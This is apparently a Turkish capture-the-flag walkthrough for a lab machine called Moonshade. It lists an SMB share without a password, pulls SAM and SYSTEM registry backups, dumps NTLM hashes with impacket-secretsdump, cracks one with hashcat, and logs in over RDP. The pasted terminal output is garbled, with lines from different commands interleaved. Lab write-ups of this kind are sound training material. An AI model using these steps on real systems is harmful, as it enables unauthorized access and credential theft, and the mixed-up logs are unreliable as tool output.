

MOONSHADE ISINMASI

INFO: SAM dosyası, sistemdeki kullanıcı hesaplarının parola hash bilgilerini içeren bir veritabanıdır.

Sistemdeki kullanıcıların parolasını kırma, bilgi toplama ve çalışan zafiyetli bir servisi istismar ederek yetki yükseltme saldırıları gerçekleştirme ile ilgili alıştırma yapmak için önerilir.

1. SMB ile paylaşılan registry yedeğinin tarihi nedir?

Bilgi: smbclient şifresiz olarak bağlanılır ve öğrenilir.

```
[*]-[root@hackerbox]~[~]
#smbclient --no-pass -L 172.20.1.54

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
Reg_Backup_03-12-2024 Disk
Users          Disk
Reconnecting with SMB1 for workgroup listing.
do connect: Connection to 172.20.1.54 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

2. 1001 UID değerine sahip kullanıcının kullanıcı adı nedir?

Bilgi: Önce Reg_backups dosyasına gidilir ardından dosyalar indirilir, topluca indirme işlemini "mget *" komutu ile yapabiliriz ardından sam_file dosyasının içeriği okunmaya çalışılır, fakat dikkat edilmesi gereken şudur:

Dosya İçeriği ve Biçimi: sam_file, system_file, ve diğer yedek dosyaları genellikle Windows sistemlerinin kullanıcı hesapları, parolalar ve güvenlik bilgilerini içerir. secretsdump gibi araçlar bu dosyaların içeriğini analiz ederek hassas bilgileri çıkarır.

Özellikle SAM ve SYSTEM Dosyaları İçin: impacket-secretsdump gibi araçlar, sam_file ve system_file gibi dosyaların içindeki NTLM hash'leri ve diğer güvenlik bilgilerini çıkartmak için özel olarak tasarlanmıştır. Bu araçlar, bu dosyalardan bilgi çıkarmak için gerekli olan teknik işleme yeteneğine sahiptir.

Bu yüzden şöyle yapılır: impacket-secretsdump -sam sam_file -system system_file LOCAL -outputfile dump_SAM.txt

Burada:

- -sam sam_file: SAM dosyası.
- -system system_file: SYSTEM dosyası.
- LOCAL: Yerel dosya sistemi üzerinde çalışmak için.
- -outputfile dump_SAM.txt: Çıktıyı belirtilen dosyaya kaydeder.

```
smb: c:\> mget 9*22 - Copyright 2020 SecureAuth Corporation
Get file sam_file? yes
getting file \sam_file of size 8491528 as sam_file (3200.0 KiloBytes/sec) (average 3200.0 KiloBytes/sec) hashes (uid:rid:lmhash:nthash)
Get file security_file? yes 31d6cfe0d16ae931b73c59d7e0c089c0:::
getting file \security_file of size 32768 as security_file (3200.0 KiloBytes/sec) (average 3200.0 KiloBytes/sec) 35b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Get file software_file? yes 35b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
getting file \software_file of size 67645440 as software_file (68456.0 KiloBytes/sec) (average 66808.1 KiloBytes/sec) eeaad3b435b51404ee:121033714a48d6a00ce4dccc4
Get file system_file? yes
getting file \system_file of size 10788864 as system_file (48553.0 KiloBytes/sec) (average 63526.1 KiloBytes/sec) 35b51404ee:7e3a2cce8dca6651bdee417e475287ef3:::
smb: c:\> SMBecho failed (NT_STATUS_CONNECTION_RESET). The connection is disconnected now@hackerbox
```

Sonuca ulaşılır.

```
[root@hackerbox]# impacket-secretsdump -sam sam_file -system system_file LOCAL -outputfile d
ump_SAM.txt
OBJECT_NAME NOT FOUND opening remote file \mget
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Get file sam_file? yes
[*] Target system bootKey: 0x68ad1ca896ed1d0761f67b1d1192e742 Bytes/sec) (average
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8ea8d7cf8116182b8cea46cb92949
5c9::: file \security file of size 32768 as security file (3200.0 KiloBytes/sec)
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0::: file \software file of size 67645440 as software file (68456.0 KiloBytes/sec)
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:121033714a48d6a00ce4dcc4
259f6ff2::: stem file? yes
Edward:1001:aad3b435b51404eeaad3b435b51404ee:e1d28c20baa79c026a7627b80bb40873:::
jacob:1002:aad3b435b51404eeaad3b435b51404ee:7e3a2ccedca6651bdee417e475287ef3:::
[*] Cleaning up... failed (NT_STATUS_CONNECTION_RESET). The connection is disconnect
ed
[root@hackerbox]#
```

3. *edward kullanıcısının parolası nedir?*

Bilgi: hashcat ile parola çözülür.

```
[root@hackerbox]# echo e1d28c20baa79c026a7627b80bb40873 > my_hashes.txt
[root@hackerbox]# hashcat -m 1000 -a 0 my_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting... file of size 32768 as security_file (3200.0 KiloBytes/sec)
(average 3200.0 KiloBytes/sec)
(NT_STATUS_CONNECTION_RESET). The connection is disconnected
[root@hackerbox]# hashcat -m 1000 --show my_hashes.txt
e1d28c20baa79c026a7627b80bb40873:twilight
[root@hackerbox]#
```

4. *Bilgisayarın adı nedir?*

Bilgi: remmina ile rdp yapılır ve hostname komutu ile öğrenilir.

```
Command Prompt
Microsoft Windows [Version 10.0.17134.1]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\edward>hostname
DESKTOP-0SLFDB7

C:\Users\edward>
```

5. *edward kullanıcısının company.hackviser.space'deki kullanıcı adı nedir?*

Bilgi: Write-up okunarak çözülmüştür.

